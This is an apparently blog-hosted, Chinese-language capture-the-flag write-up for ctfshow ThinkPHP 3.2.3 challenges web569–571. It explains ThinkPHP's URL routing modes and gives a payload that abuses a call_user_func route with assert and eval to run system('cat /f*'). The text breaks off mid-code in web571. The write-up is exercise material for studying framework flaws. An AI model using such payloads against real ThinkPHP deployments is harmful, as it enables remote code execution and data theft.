ctfshow ThinkPHP篇—3.2.3(569-578)

本文详细探讨了ThinkPHP框架中的多种安全漏洞,包括URL路由规则利用、SQL注入、代码执行等,并提供了相应的攻击payload示例。通过实例解析了如何通过不同模式访问控制器方法,以及如何利用路由规则、函数调用来执行任意代码。同时,文章还介绍了防止这些攻击的安全措施,提醒开发者注意代码安全。

web569

相关内容

参考thinkphp手册
在这里插入图片描述
为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。
在这里插入图片描述
PATHINFO模式
http://localhost/index.php/Home/Index/index/name/123/
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=123
兼容模式
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式
http://localhost/Home/Index/index/name/123/

题解

所以我们要访问Admin模块的Login控制器的ctfshowLogin方法就很简单了
url/index.php/Admin/Login/ctfshowLogin

web570

下载下来题目给的Applicaition文件,在config.php中发现了一条路由规则。
在这里插入图片描述

	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
   
   
    	call_user_func($f, $a);
    	}
    )

也就是当我们访问url/index.php/ctfshow/xxx/yyy时会执行call_user_func(xxx,yyy)。
因为输入/很困难,所以我们直接执行system(‘ls /’)不太可能,只能换种方法。
payload:
url/index.php/ctfshow/assert/eval($_POST[1])/post: 1=system('cat /f*');

web571

在home模块下的index方法中看到了可控变量n。
在这里插入图片描述
那我们来研究下这个show函数,为了方面我们传的参数只留下$n

<?php
namespace Home\Controller;
use 
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值